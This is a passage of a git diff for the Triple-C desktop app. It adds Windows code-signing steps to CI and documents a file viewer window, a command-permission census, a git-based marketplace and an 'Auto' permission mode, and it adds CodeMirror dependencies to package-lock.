# Previews are not code-signed: signing is metered, previews are built
# on every PR push, and a PR's workflow runs the PR's own code - so the
# signing secrets stay out of this workflow entirely. Releases are
# signed in build-app.yml.
#
# beforeBuildCommand is blanked through --config because the frontend
# was built in the step above. Not TAURI_CONFIG: the v2 CLI never
# reads that variable, and the inline one this step used to set was a
# no-op.
env:
TAURI_CONFIG: "{\"build\":{\"beforeBuildCommand\":\"\"}}"
# See the matching comment on the Linux job's "Build Tauri app" step.
TRIPLE_C_BUILD_SUFFIX: ${{ needs.compute-version.outputs.suffix }}
run: |
set "PATH=%USERPROFILE%\.cargo\bin;C:\Program Files\nodejs;%PATH%"
cargo tauri build
cargo tauri build --config "{\"build\":{\"beforeBuildCommand\":\"\"}}"
- name: Collect artifacts
run: |
+42 -3
View File
@@ -7,6 +7,7 @@ on:
- "app/**"
- "VERSION"
- ".gitea/workflows/build-app.yml"
- "scripts/windows-*.ps1"
workflow_dispatch:
# Deliberately **not** on pull_request. Every publishing step here is gated on
@@ -611,7 +612,11 @@ jobs:
- name: Install Tauri CLI via cargo
run: |
set "PATH=%USERPROFILE%\.cargo\bin;C:\Program Files\nodejs;%PATH%"
cargo install tauri-cli --version "^2"
rem Pinned to the @tauri-apps/cli version in app/package-lock.json, which
rem the Linux and macOS jobs run: the Windows code-signing path (sign
rem command, NSIS uninstaller signing) was verified against it, and "^2"
rem would change it underneath the pipeline on any Tauri release.
cargo install tauri-cli --version "=2.11.0" --locked
- name: Fix npm platform detection
run: |
@@ -632,10 +637,31 @@ jobs:
set "PATH=%USERPROFILE%\.cargo\bin;C:\Program Files\nodejs;%PATH%"
npm run build
# Releases are signed with Azure Artifact Signing (scripts/windows-*.ps1).
# The setup fetches the signing client and a job-local .NET runtime, and
# writes the Tauri config holding the sign command, which "Build Tauri
# app" passes with --config. A missing secret fails here, before the build.
- name: Prepare code signing
env:
AZURE_TENANT_ID: ${{ secrets.AZURE_TENANT_ID }}
AZURE_CLIENT_ID: ${{ secrets.AZURE_CLIENT_ID }}
AZURE_CLIENT_SECRET: ${{ secrets.AZURE_CLIENT_SECRET }}
ARTIFACT_SIGNING_ENDPOINT: ${{ secrets.ARTIFACT_SIGNING_ENDPOINT }}
ARTIFACT_SIGNING_ACCOUNT_NAME: ${{ secrets.ARTIFACT_SIGNING_ACCOUNT_NAME }}
ARTIFACT_SIGNING_PROFILE_NAME: ${{ secrets.ARTIFACT_SIGNING_PROFILE_NAME }}
run: powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -File scripts\windows-signing-setup.ps1
- name: Build Tauri app
working-directory: ./app
# The sign command comes in through --config, from the file "Prepare
# code signing" wrote. Not TAURI_CONFIG: the v2 CLI never reads that
# variable (the inline one this step used to set was a no-op), and
# "Verify signatures" is what caught it.
env:
TAURI_CONFIG: "{\"build\":{\"beforeBuildCommand\":\"\"}}"
# Read by the signing dlib itself, never passed on a command line.
AZURE_TENANT_ID: ${{ secrets.AZURE_TENANT_ID }}
AZURE_CLIENT_ID: ${{ secrets.AZURE_CLIENT_ID }}
AZURE_CLIENT_SECRET: ${{ secrets.AZURE_CLIENT_SECRET }}
run: |
set "PATH=%USERPROFILE%\.cargo\bin;C:\Program Files\nodejs;%PATH%"
rem Every Tauri bundler it downloads - candle.exe, light.exe and
@@ -650,7 +676,20 @@ jobs:
rem systemprofile\AppData\Local\tauri and systemprofile\.cache to the
rem System32 originals, which makes the redirected view resolve. A
rem runner running as a normal user needs no such patch.
cargo tauri build --bundles msi,nsis
cargo tauri build --bundles msi,nsis --config "%TRIPLE_C_TAURI_SIGN_CONFIG%"
- name: Verify signatures
run: >-
powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass
-File scripts\windows-verify-signatures.ps1
app\src-tauri\target\release\bundle\msi\*.msi
app\src-tauri\target\release\bundle\nsis\*.exe
# Tauri reports a failed sign command as just "failed to run powershell";
# windows-sign.ps1 keeps its own transcript, signtool /debug included.
- name: Show signing output
if: failure()
run: if exist .code-signing\sign-output.log type .code-signing\sign-output.log
- name: Collect artifacts
run: |
+6
View File
@@ -1,6 +1,9 @@
node_modules/
app/dist/
app/src-tauri/target/
# Written by build.rs (tauri-build AppManifest); gen/schemas/acl-manifests.json is the
# tracked, reviewable form of the same information.
app/src-tauri/permissions/autogenerated/
Screenshot*.png
code-review.md
@@ -13,3 +16,6 @@ screenshot_for_fix/
# Package files pulled in by ad-hoc verification runs.
*.deb
# Windows CI code signing (scripts/windows-signing-setup.ps1)
.code-signing/
+164 -6
View File
@@ -73,6 +73,16 @@ docker exec stdout → tokio task → emit("terminal-output-{sessionId}") → li
- **`hooks/`** — All Tauri IPC calls are encapsulated in hooks (`useTerminal`, `useProjects`, `useDocker`, `useSettings`)
- **`lib/tauri-commands.ts`** — Typed `invoke()` wrappers; TypeScript types in `lib/types.ts` must match Rust models
- **`components/terminal/TerminalView.tsx`** — xterm.js integration with WebGL rendering, URL detection for OAuth flow
- **`viewer/`** — the terminal file viewer's window (second Vite entry `viewer.html` →
`src/viewer/main.tsx`; CodeMirror 6). `lib/filePathLinks.ts` decides what a path is;
`components/terminal/filePathLinkProvider.ts` registers it with xterm. The OSC 8 handler now
runs with `allowNonHttpProtocols` on and dispatches `file:` to the viewer, so every other scheme
must be refused *there*. `viewer.html` must never carry an inline `<style>` — Tauri would add a
style nonce and CodeMirror's injected styles would stop applying. A missing or broken
`viewer.html` Vite entry is not caught by Tauri at build time — both Vite dev and Tauri's asset
lookup silently fall back to `index.html`, so the window just opens the *main app*, full UI and
all, with no error anywhere; `file_viewer::tests::the_viewer_entry_exists_and_is_a_vite_input`
in `file_viewer/mod.rs` is the only thing pinning this.
- **`components/layout/`** — TopBar, MainTabs (the unified tab strip), Sidebar, StatusBar
- **`components/projects/`** — `ProjectRow` (select-only list row), `ProjectList`, `AddProjectDialog`,
and the editors reused by Project Home
@@ -161,6 +171,19 @@ docker exec stdout → tokio task → emit("terminal-output-{sessionId}") → li
Beyond docker/project/settings/terminal: `inspect_commands.rs` (read-only views into a
container — Claude sessions, installed capabilities, scheduler tasks), `auth_bridge_commands.rs`,
`auth_token_commands.rs`.
- **`file_viewer/`** — one window per click (`file-viewer-<n>`), a managed `ViewerRegistry`,
resolution by probing `/workspace/<p>` then `/workspace/<mount>/<p>` in one exec as `claude`,
polling by `sha256sum`, saves staged in `/tmp` and swapped in by a `sh` script as the container
user (spec §5 says why the archive API never writes to the target directory). Commands take
`window: tauri::Window`, gate on the label and act on the caller's own registry entry — no
viewer command accepts a path. Which window may *call* each command is the ACL's job: the
`file-viewer-*` capability grants exactly the five `viewer_*` commands (see `build.rs`).
- **`build.rs` + `src/command_census.rs`** — the build declares a Tauri `AppManifest` from the
`generate_handler!` list and refuses to build unless every command has exactly one bare
`allow-*` grant in the capability file its name says it belongs to. The parser and rules are
in `command_census.rs`, compiled into both the build script and the test build, so they are
unit-tested; `the_generated_app_manifest_matches_the_handler_list` reads back what tauri
embedded. Design: `docs/superpowers/specs/2026-09-22-app-manifest-lockdown-design.md`.
- **`auth_bridge/`** — Host-side loopback bridge so browser logins run *inside* a container can
complete against the host browser. Discovers listeners by parsing `/proc/net/tcp{,6}` (the image
has no `ss`/`netstat`/`lsof`), binds host `127.0.0.1` **only**, and tunnels in over the Docker
@@ -578,9 +601,28 @@ Anthropic and Bedrock deliberately keep Claude Code's own defaults.
- Frontend types in `lib/types.ts` must stay in sync with Rust structs in `models/`
- Tauri commands are registered in `lib.rs` via `.invoke_handler(tauri::generate_handler![...])`
- `capabilities/default.json` grants permissions for **plugin** commands only (`core:`, `dialog:`,
`store:`, `opener:`). Application commands registered through `generate_handler!` do **not**
need an entry there — adding one is not required and none exists for any app command.
- **A new command needs three things:** `#[tauri::command]`, a `generate_handler!` entry in
`lib.rs`, and a bare `allow-<name-with-dashes>` entry in the one capability file for the
window that calls it — `viewer_*` commands in `capabilities/file-viewer.json`, everything else
in `capabilities/default.json`. `build.rs` declares a Tauri `AppManifest` from the handler list
(without one, tauri 2.11 does not apply the ACL to app commands at all) and fails `cargo
check`/`tauri build` on a missing, misspelled, duplicated or misfiled grant, a `deny-*`, or a
hand-written file under `permissions/`. `src/test/capabilities.test.ts` fails if code that runs
in a window imports a `tauri-commands.ts` wrapper that window is not granted. Only `_` becomes
`-` in the identifier; `permissions/autogenerated/` is generated and ignored, and
`gen/schemas/*.json` is regenerated by every build and committed.
- **A new window needs its own top-level `capabilities/*.json`; never `webviews`/`remote`;
never inline.** `build.rs` only vouches for what `src/command_census.rs` reads — a top-level
`capabilities/*.json` file with a `windows` list — so it refuses to build on anything tauri
would load that the census can't check: a capability under a subdirectory or written as
`.toml`/`.json5`, a `webviews` or `remote` key in a capability file (either widens grants past
what `windows` says), `app.security.capabilities` declared inline in `tauri.conf.json`/any
`tauri.<platform>.conf.json`/`TAURI_CONFIG`, or a tauri config in a format it can't parse
(JSON5, TOML). OS/editor junk (`.DS_Store`, `Thumbs.db`, swap files) is recognised and skipped
rather than refused. Each failure names the check that failed, not just "capabilities do not
match generate_handler!". **Known limit:** adding a new `tauri.<platform>.conf.json` to a tree
that has already been built once only takes effect on a clean build or in CI — cargo's
incremental build has no reason to notice a file that did not exist on the previous build.
- The `projects.json` file uses atomic writes (write to `.tmp`, then `rename()`). Corrupted files are backed up to `.bak`.
- **Adding project state that changes the container?** `container_needs_recreation()` is entirely
**label-based** — it does not diff the container's env. If a new setting affects the container's
@@ -601,6 +643,34 @@ Anthropic and Bedrock deliberately keep Claude Code's own defaults.
`#[serde(default)]` on a `bool` yields `false`; follow the `default_full_permissions` pattern in
`models/project.rs` for anything that should default to true.
- Cross-platform paths: Docker socket is `/var/run/docker.sock` on Linux/macOS, `//./pipe/docker_engine` on Windows
- A new local window needs its own capability file (`capabilities/file-viewer.json` is the
model), and `lib.rs`'s `on_window_event` stays guarded on `label() == "main"`.
### Marketplace
- Code: models in `models/marketplace.rs`; host-side logic in `src/marketplace/` (`git.rs` gix
cache + pins, `catalog.rs` repo format, `auth.rs` credentials, `gh_login.rs`, `payload.rs`,
`sync.rs`); commands in `commands/marketplace_commands.rs`; UI in `components/marketplace/` and
`projects/home/config/MarketplaceSection.tsx`. Spec:
`docs/superpowers/specs/2026-09-27-marketplace-design.md`.
- **Tokens never enter containers.** Marketplaces are fetched on the host into
`<data_dir>/triple-c/marketplaces/<id>.git`; containers only ever receive a tar of pinned
files. Do not add a code path that passes a marketplace credential into an exec, env var, label
or file in a container.
- **Sync model:** after every container start (next to `sync_bedrock_credentials`) and on "Apply
now", the host builds the project's effective set (`global − disabled ∪ project`), then uploads
`payload.tar` **and the app-embedded script `src/marketplace/sync.sh`** (`include_str!`, not a
file in `container/`) to `~/.claude/triple-c/marketplace/incoming/` and runs it as `claude`,
once the entrypoint has finished (`pgrep -x -f 'su -s /bin/bash claude -c exec sleep
infinity'`). The script is re-uploaded on every sync rather than baked into the image, so every
existing project always gets the version that matches the running app — `container/` is never
touched for this feature. The script only removes files and hook entries it recorded in
`~/.claude/triple-c/marketplace/state.json`; it must never overwrite or delete user-created
agents/skills/commands or user hooks. A sync failure must not fail the container start.
- Installs are **pinned** to a commit; nothing updates without the user accepting a diff. Pinned
commits are kept alive by `refs/triple-c/pins/*` in the cache.
- Marketplace changes need no container labels or recreation — they are applied by the sync, not
at create time.
## Secrets
@@ -633,9 +703,9 @@ nobody had reason to open. Fixtures are never live values; there is no case wher
`commands::settings_export_commands`, `storage::settings_crypto`, `models::settings_export`
(triple-c#35). Exports the *host* environment — global `AppSettings` plus the global secrets that
live in the OS keychain instead: the shared Claude Code OAuth login and the model gateway's two
keys. Per-project settings, per-project secrets, and anything in a project's Docker volumes are
deliberately out of scope — this is not a project backup.
live in the OS keychain instead: the shared Claude Code OAuth login, the model gateway's two keys,
and every marketplace account's token. Per-project settings, per-project secrets, and anything in
a project's Docker volumes are deliberately out of scope — this is not a project backup.
- **`AppSettings` is not entirely the non-secret shape it looks like, and a review of this feature
caught the one place that isn't.** `WebTerminalSettings::access_token` is a live bearer
@@ -652,6 +722,21 @@ deliberately out of scope — this is not a project backup.
inside a generic "settings replaced" summary. Read this as the standing example of the class of
thing to keep checking for in this feature, not a one-off fixed bug — any other field that looks
like config but is actually a live credential would have the same problem.
- **Marketplace account tokens travel in `ExportedSecrets`, not in `AppSettings`.** `Token` and
`GhContainer` accounts' tokens live in the keychain (`triple-c-marketplace-account-<id>`), so
they follow the same "carve out of the keychain, restore before the settings replace, only
overwrite what the file actually has" treatment as the other three secrets
(`ExportedSecrets::marketplace_account_tokens`, keyed by account id). Marketplaces and install
lists themselves are ordinary `AppSettings` fields and travel with the settings replace, but are
**validated** on import the same way the add-marketplace/install commands validate them
(`validate_imported_marketplace_state`) — an import is untrusted input, not a trusted restore.
The preview warns whenever the import carries one or more **global hook installs or global
plugin installs**, in addition to the base-URL and custom-image warnings above: a hook runs
commands in every project container, and a plugin can carry its own hooks, MCP/LSP servers and
commands into one. In the Marketplace tab both kinds have a confirm step before they install
(`HookConfirmModal` lists a hook's commands, `PluginConfirmModal` lists everything a plugin
brings that runs); an import installs them without either, so the preview warning is the only
place that confirmation happens for an import.
- **Encrypted because it can carry live credentials, not for appearance's sake.** Argon2id derives
a 256-bit key from the user's password (memory-hard — meaningfully resistant to GPU/ASIC
brute-forcing, unlike PBKDF2 at any reasonable iteration count), AES-256-GCM does the actual
@@ -792,6 +877,72 @@ verbatim copy yields a launcher entry that starts nothing. It keeps `StartupWMCl
the bundle sets it, which is what lets the shell match the window to the entry. Extraction uses
`--appimage-extract`, which needs no FUSE, so the script works before `fuse2` is installed.
### Windows code signing
Windows **releases** (`build-app.yml`) are signed with **Azure Artifact Signing**: the app binary,
the MSI, the NSIS installer and its uninstaller. Three scripts do it, and "Verify signatures"
fails the job if any of them is unsigned or untimestamped, so an unsigned installer cannot ship
quietly. **PR previews are deliberately not signed**, and `build-app-preview.yml` must not
reference the signing secrets. Two reasons: signing is metered (about 1000 signatures a month,
against roughly 50 preview builds a month), and a PR's workflow runs the PR's own code, so a
secret available there is available to whoever can push a branch. To exercise signing before a
merge, dispatch `build-app.yml` on the branch. Every publishing step there is gated on
`gitea.event_name == 'push'`, so a dispatch builds, signs and verifies without releasing.
- `scripts/windows-signing-setup.ps1` runs once per job. It downloads the signing client
(`Microsoft.ArtifactSigning.Client`) and a .NET runtime into `.code-signing/` in the workspace,
**each pinned by version and hash**, writes the dlib's `metadata.json`, and writes a Tauri
config file with `bundle.windows.signCommand` that the build passes as
`cargo tauri build --config`. Nothing is installed on the build VM. To bump
a pin, take the hash from nuget.org / the .NET `releases.json`, never from your own download.
- `scripts/windows-sign.ps1` is the sign command: `signtool sign /dlib` with SHA-256 and the
Microsoft timestamp server, retried. Credentials never reach a command line — the dlib reads
`AZURE_TENANT_ID` / `AZURE_CLIENT_ID` / `AZURE_CLIENT_SECRET` from the environment.
**It signs only an allowlist of what ships**: 5 signatures per release (the app binary twice,
because Tauri re-patches it between the MSI and NSIS bundles; the MSI; the NSIS installer;
and its uninstaller). Tauri also presents build-time tools, the WiX extension DLLs and NSIS
plugins, and signing those would more than double the metered count for no user-visible
benefit. If the app ever ships resource DLLs or sidecars, extend the
allowlist, or they will go out unsigned. Tauri reports a failed sign command only as
"failed to run powershell", so the script keeps a transcript (`.code-signing/sign-output.log`,
`signtool /debug` included), and the job prints it on failure.
- `scripts/windows-verify-signatures.ps1` checks `signtool verify /pa` plus a timestamp on the
installers, and on the binaries **inside** the MSI (an administrative `msiexec /a` extract).
It deliberately does not check `target\release\triple-c.exe`: Tauri patches that file again
after packaging, so the loose copy is unsigned by design and is not what ships. For the NSIS
installer, which cannot be unpacked that way, it requires the signing log to show the app
binary and the uninstaller were signed.
Secrets (repository): the three `AZURE_*` above plus `ARTIFACT_SIGNING_ENDPOINT`,
`ARTIFACT_SIGNING_ACCOUNT_NAME`, `ARTIFACT_SIGNING_PROFILE_NAME`. They are referenced only by the
two Windows steps of `build-app.yml` that need them ("Prepare code signing" and "Build Tauri
app"), never by the preview workflow, never echoed, and never on a command line. The repo is
public, so its Actions logs are too. Gitea masks the secret values, and the signing dlib's
`/debug` output carries no tokens (checked against its strings). Anyone who can push to this
repo can reach the secrets through a workflow file, so repo write access is the boundary.
`main` is branch-protected (no direct or force pushes; changes land by merging a PR), so a signed
release only ever comes from a merged, visible change. The
Azure side should hold the rest: an app registration with only the signer role on this one
certificate profile, and a client secret with an expiry. Four things are load-bearing:
- **`metadata.json` excludes every credential but `EnvironmentCredential`.** The dlib uses
`DefaultAzureCredential`, whose chain ends in `InteractiveBrowserCredential`; the runners run as
SYSTEM, where that waits forever for a browser.
- **The sign command goes in through `--config`, never `TAURI_CONFIG`.** The v2 CLI does not read
that variable — it only sets it, for tauri-build — so a config put there is dropped without an
error. The Windows jobs set an inline `TAURI_CONFIG` for years and it never applied;
"Verify signatures" is what exposed it, and it is what would catch a regression.
- **The signing files and the job's `%TEMP%` live in the workspace.** The NSIS uninstaller is
written to `%TEMP%` and signed from inside 32-bit `makensis`, under 32-bit PowerShell; WOW64
redirects SYSTEM's own `%TEMP%` (under System32) for those processes but not for the x64
signtool, so they would disagree about where the file is. The workspace is under
`systemprofile\.cache`, which the VM junctions so both views resolve. makensis also ignores
the sign command's exit code for the uninstaller, so `windows-sign.ps1` logs every file it
signs and the verify step requires a logged signature under that temp directory.
- **The build VM is `WindowsBuilder` (VM 110 on the Proxmox host `pve4`)**, carrying both the
`winvm-builder` and `virtual-builder` runners in host mode. It has the Windows SDK's
`signtool` (10.0.26100) but no .NET — hence the job-local runtime.
## Testing
Frontend tests use Vitest with jsdom environment and React Testing Library. Setup file at `src/test/setup.ts`. Run a single test file:
@@ -799,3 +950,10 @@ Frontend tests use Vitest with jsdom environment and React Testing Library. Setu
cd app
npx vitest run src/path/to/test.test.ts
```
CI runs both suites on every PR: the `test` job in `.gitea/workflows/build-app-preview.yml` does
`npm run build`, `npx vitest run` and `cargo test --locked`, in parallel with the platform builds.
It is the only place `cargo test` runs on merge, which matters most for the app-command ACL
census — an ungranted command compiles and only fails at runtime. `build-app.yml` (releases
from `main`) deliberately does not repeat it. The runner is root, so the few Rust tests that
exercise file permissions skip themselves there.
+39 -4
View File
@@ -15,6 +15,7 @@ Triple-C (Claude-Code-Container) is a desktop application that runs Claude Code
- [Permission Modes](#permission-modes)
- [Project Configuration](#project-configuration)
- [Shared Claude Authentication](#shared-claude-authentication)
- [Marketplace](#marketplace)
- [Opening URLs in Your Browser (URL Relay)](#opening-urls-in-your-browser-url-relay)
- [Browser Logins Inside the Container (Auth Bridge)](#browser-logins-inside-the-container-auth-bridge)
- [AWS Bedrock Configuration](#aws-bedrock-configuration)
@@ -469,6 +470,7 @@ replaces the old Full Permissions on/off switch.
| **Plan** | Proposes a plan and makes no changes | `--permission-mode plan` |
| **Default** | Asks before each tool call | *(nothing — Claude Code's own default)* |
| **Accept Edits** | Auto-approves file edits; other tools still prompt | `--permission-mode acceptEdits` |
| **Auto** | A safety classifier approves routine actions and blocks risky ones, without prompting | `--permission-mode auto` |
| **Bypass** | Auto-approves every tool call | `--dangerously-skip-permissions` |
New projects start in **Default**. Projects created before permission modes existed keep behaving
@@ -480,12 +482,19 @@ the way they did: one that had Full Permissions on becomes **Bypass**, one that
> has Docker socket access or reaches services on your network. The Overview tab tells you whether
> the in-container sandbox is also on.
**Auto** sits between Accept Edits and Bypass: Claude Code's own classifier reviews each action,
lets routine work through and blocks things that look risky (such as destructive or
exfiltrating commands) — no prompts either way. Whether it is available depends on your Claude
Code account, model and backend (local and OpenAI-compatible backends usually won't
qualify). When it isn't available, Claude Code quietly starts in its normal prompting mode
instead.
### When a change takes effect
- **Terminals** — the mode is applied when a terminal is opened, so it affects terminals you open
from then on. A Claude session that is already running keeps the permissions it started with;
close the tab and open a new terminal to change it. The badge on each terminal tab shows the mode
that terminal was launched with (`plan`, `ask`, `edits`, `bypass`).
that terminal was launched with (`plan`, `ask`, `edits`, `auto`, `bypass`).
- **Resumed sessions** — a session resumed from the **Sessions** tab uses the project's current
mode.
- **Scheduled tasks** — these now honour the permission mode too (they previously always ran with
@@ -494,8 +503,10 @@ the way they did: one that had Full Permissions on becomes **Bypass**, one that
mode change to reach the scheduler.
> Scheduled tasks run headless (`claude -p`) and cannot answer a permission prompt. In any mode
> other than **Bypass**, a task may simply stop early when Claude Code asks for approval. Its run
> log records which mode it used.
> other than **Auto** or **Bypass**, a task may simply stop early when Claude Code asks for
> approval. In **Auto**, actions the classifier blocks are denied and the run carries on without
> them — but if Auto isn't available for the project's model or backend, Claude Code falls back
> to prompting and the task can stall the same way. Its run log records which mode it used.
---
@@ -763,6 +774,28 @@ is next started, at which point the same recreation clears the variable.
---
## Marketplace
The marketplace installs Claude Code **agents, skills, commands, hooks and plugins** from git repositories into your containers.
1. **Settings → Marketplace → Open Marketplace** opens the Marketplace tab.
2. **Add a marketplace**: on the Browse tab choose *Add marketplace* and enter an HTTPS clone URL, for example `https://github.com/shadowdao/triple-c-marketplace.git`. For a private repository, pick an account (see below). Triple-C checks it can read the repository before saving.
3. **Install**: select an item to see what it contains. Turn on **All projects** to install it everywhere (including projects you add later), or tick individual projects. A project can opt out of an "All projects" item by unticking it, or from **Project → Config → Marketplace**.
4. **Hooks** run shell commands, so Triple-C shows every command before installing one.
5. **When it applies**: on the container's next start, or straight away for running containers with **Installed → Apply now**. New Claude sessions pick it up; sessions already open keep what they loaded.
**Updates.** Every install is pinned to the commit it came from. When an item changes in its repository, the Installed tab shows *Update available*. Review the diff and accept to move the pin.
**Accounts (private repositories).** On the Accounts tab:
- *GitHub via gh* — if the GitHub CLI is installed and logged in on this computer, Triple-C uses it. If not, it runs `gh auth login` inside a running project's container and keeps only the resulting token in your OS keychain.
- *Access token* — any host (GitHub, Gitea, GitLab). The token is stored in your OS keychain.
Credentials never enter containers. If a private repository in a GitHub organisation cannot be read, the error explains the usual causes: the org has not approved the GitHub CLI, the token is not authorised for the org's SSO, or a fine-grained token belongs to a different owner.
**If an item is skipped**: Triple-C never overwrites an agent, skill or command file you created yourself. If one has the same name as a marketplace item, the sync skips it and the project's Config → Marketplace section says so.
---
## Opening URLs in Your Browser (URL Relay)
There is no browser inside the container and no screen to put one on. Any tool that tries to open
@@ -1349,7 +1382,9 @@ Scheduled runs use the project's [permission mode](#permission-modes) — they n
with `--dangerously-skip-permissions`. Because the mode travels into the container as an
environment variable, **stop and start the project** after changing it for the scheduler to see the
change. Remember that a headless run cannot answer a permission prompt, so in any mode other than
**Bypass** a task may stop early when Claude Code asks for approval; the run log records the mode
**Auto** or **Bypass** a task may stop early when Claude Code asks for approval (in Auto, blocked
actions are denied instead, unless Auto is unavailable and Claude Code falls back to
prompting); the run log records the mode
that was used.
### Creating Tasks
+3 -2
View File
@@ -114,7 +114,7 @@ progress modal.
## Permission Modes
`PermissionMode` in `models/project.rs` replaces the old `full_permissions` boolean. Four states,
`PermissionMode` in `models/project.rs` replaces the old `full_permissions` boolean. Five states,
mapped to CLI flags by `PermissionMode::cli_args()`:
| Mode | Serialized | CLI args passed to `claude` |
@@ -122,6 +122,7 @@ mapped to CLI flags by `PermissionMode::cli_args()`:
| **Plan** | `plan` | `--permission-mode plan` |
| **Default** | `default` | *(none)* |
| **Accept Edits** | `acceptEdits` | `--permission-mode acceptEdits` |
| **Auto** | `auto` | `--permission-mode auto` |
| **Bypass** | `bypass` | `--dangerously-skip-permissions` |
`Project.permission_mode` is `Option<PermissionMode>`; `effective_permission_mode()` falls back to
@@ -531,7 +532,7 @@ Triple-C includes optional speech-to-text powered by [Faster Whisper](https://gi
| `app/src/components/layout/StatusBar.tsx` | Project/terminal counts, Notes toggle, STT mic |
| `app/src/components/projects/ProjectRow.tsx` | Select-only sidebar row; opens Project Home, with hover start/stop and terminal controls |
| `app/src/components/projects/ProjectList.tsx` | Project list in sidebar |
| `app/src/components/projects/PermissionModeControl.tsx` | Plan / Default / Accept Edits / Bypass segmented control |
| `app/src/components/projects/PermissionModeControl.tsx` | Plan / Default / Accept Edits / Auto / Bypass segmented control |
| `app/src/components/ui/` | Shared primitives: `Modal`, `Button`, `Toggle`, `Field`, `SegmentedControl`, `StatusIndicator`, `SaveIndicator`, `OverflowMenu`, `ToastHost`, `Tooltip` |
| `app/src/hooks/useKeyboardShortcuts.ts` | `Ctrl+T`, `Ctrl+Shift+W`, `Ctrl+Tab`, `Ctrl+1..9`, `Ctrl+Shift+←/→` |
| `app/src/hooks/useContainerProgress.ts` | `container-progress` event → inline progress lines |
+3 -2
View File
@@ -186,7 +186,7 @@ host keychain secrets.
### Permission Modes
`PermissionMode` (`models/project.rs`) is a four-state enum replacing the earlier `full_permissions`
`PermissionMode` (`models/project.rs`) is a five-state enum replacing the earlier `full_permissions`
boolean. It reaches Claude Code by two different routes:
| Mode | `cli_args()` — interactive terminals | `as_env_value()` — scheduler |
@@ -194,6 +194,7 @@ boolean. It reaches Claude Code by two different routes:
| `Plan` | `--permission-mode plan` | `plan` |
| `Default` | *(no flag)* | `default` |
| `AcceptEdits` | `--permission-mode acceptEdits` | `acceptEdits` |
| `Auto` | `--permission-mode auto` | `auto` |
| `Bypass` | `--dangerously-skip-permissions` | `bypass` |
`Project.permission_mode` is `Option<PermissionMode>`, and `effective_permission_mode()` resolves
@@ -474,7 +475,7 @@ triple-c/
│ │ ├── ProjectRow.tsx # Select-only sidebar row
│ │ ├── ProjectList.tsx # Sidebar project list
│ │ ├── AddProjectDialog.tsx # New-project dialog
│ │ ├── PermissionModeControl.tsx # Plan/Default/Accept Edits/Bypass
│ │ ├── PermissionModeControl.tsx # Plan/Default/Accept Edits/Auto/Bypass
│ │ ├── ConfirmRemoveModal.tsx # Project removal confirmation
│ │ └── *Editor.tsx / *Modal.tsx # EnvVars, PortMappings,
│ │ # ClaudeInstructions, ClaudeCodeSettings —
+348
View File
@@ -8,6 +8,21 @@
"name": "triple-c",
"version": "0.4.0",
"dependencies": {
"@codemirror/commands": "^6.11.1",
"@codemirror/lang-css": "^6.3.1",
"@codemirror/lang-html": "^6.4.12",
"@codemirror/lang-javascript": "^6.2.5",
"@codemirror/lang-json": "^6.0.2",
"@codemirror/lang-markdown": "^6.5.2",
"@codemirror/lang-python": "^6.2.1",
"@codemirror/lang-rust": "^6.0.2",
"@codemirror/lang-yaml": "^6.1.3",
"@codemirror/language": "^6.12.4",
"@codemirror/legacy-modes": "^6.5.4",
"@codemirror/search": "^6.7.2",
"@codemirror/state": "^6.7.6",
"@codemirror/view": "^6.43.13",
"@lezer/highlight": "^1.2.3",
"@tauri-apps/api": "^2",
"@tauri-apps/plugin-dialog": "^2.7.0",
"@tauri-apps/plugin-opener": "^2.5.3",
@@ -413,6 +428,204 @@
"specificity": "bin/cli.js"
}
},
"node_modules/@codemirror/autocomplete": {
"version": "6.20.3",
"resolved": "https://registry.npmjs.org/@codemirror/autocomplete/-/autocomplete-6.20.3.tgz",
"integrity": "sha512-tlosUqb+3BbxCxZdu4tKeRghPFC+QM7q4X5YhKV2eCmPG+1r2F3f4AaSz5sCrFqUtX4Jh20VFTKecl16MgiV9g==",
"license": "MIT",
"dependencies": {
"@codemirror/language": "^6.0.0",
"@codemirror/state": "^6.0.0",
"@codemirror/view": "^6.17.0",
"@lezer/common": "^1.0.0"
}
},
"node_modules/@codemirror/commands": {
"version": "6.11.1",
"resolved": "https://registry.npmjs.org/@codemirror/commands/-/commands-6.11.1.tgz",
"integrity": "sha512-O/4hG3SC1YwcmQ0d2UVNDs+AsaNWd1iHVxbTeEBuqH+6bExAiPK3iS/BvpY6rZGURALv4ZD3sIgcCmRvw3ehBg==",
"license": "MIT",
"dependencies": {
"@codemirror/language": "^6.0.0",
"@codemirror/state": "^6.7.0",
"@codemirror/view": "^6.27.0",
"@lezer/common": "^1.1.0"
}
},
"node_modules/@codemirror/lang-css": {
"version": "6.3.1",
"resolved": "https://registry.npmjs.org/@codemirror/lang-css/-/lang-css-6.3.1.tgz",
"integrity": "sha512-kr5fwBGiGtmz6l0LSJIbno9QrifNMUusivHbnA1H6Dmqy4HZFte3UAICix1VuKo0lMPKQr2rqB+0BkKi/S3Ejg==",
"license": "MIT",
"dependencies": {
"@codemirror/autocomplete": "^6.0.0",
"@codemirror/language": "^6.0.0",
"@codemirror/state": "^6.0.0",
"@lezer/common": "^1.0.2",
"@lezer/css": "^1.1.7"
}
},
"node_modules/@codemirror/lang-html": {
"version": "6.4.12",
"resolved": "https://registry.npmjs.org/@codemirror/lang-html/-/lang-html-6.4.12.tgz",
"integrity": "sha512-pw2ReWKUqSkbvh76RAT4NYxiogRu+PWkR2ukAwO9uOgrm8uipkzjtKKtNpyeAQwHOqxEeSvAXZ6vr3AfyB9y/w==",
"license": "MIT",
"dependencies": {
"@codemirror/autocomplete": "^6.0.0",
"@codemirror/lang-css": "^6.0.0",
"@codemirror/lang-javascript": "^6.0.0",
"@codemirror/language": "^6.4.0",
"@codemirror/state": "^6.0.0",
"@codemirror/view": "^6.17.0",
"@lezer/common": "^1.0.0",
"@lezer/css": "^1.1.0",
"@lezer/html": "^1.3.12"
}
},
"node_modules/@codemirror/lang-javascript": {
"version": "6.2.5",
"resolved": "https://registry.npmjs.org/@codemirror/lang-javascript/-/lang-javascript-6.2.5.tgz",
"integrity": "sha512-zD4e5mS+50htS7F+TYjBPsiIFGanfVqg4HyUz6WNFikgOPf2BgKlx+TQedI1w6n/IqRBVBbBWmGFdLB/7uxO4A==",
"license": "MIT",
"dependencies": {
"@codemirror/autocomplete": "^6.0.0",
"@codemirror/language": "^6.6.0",
"@codemirror/lint": "^6.0.0",
"@codemirror/state": "^6.0.0",
"@codemirror/view": "^6.17.0",
"@lezer/common": "^1.0.0",
"@lezer/javascript": "^1.0.0"
}
},
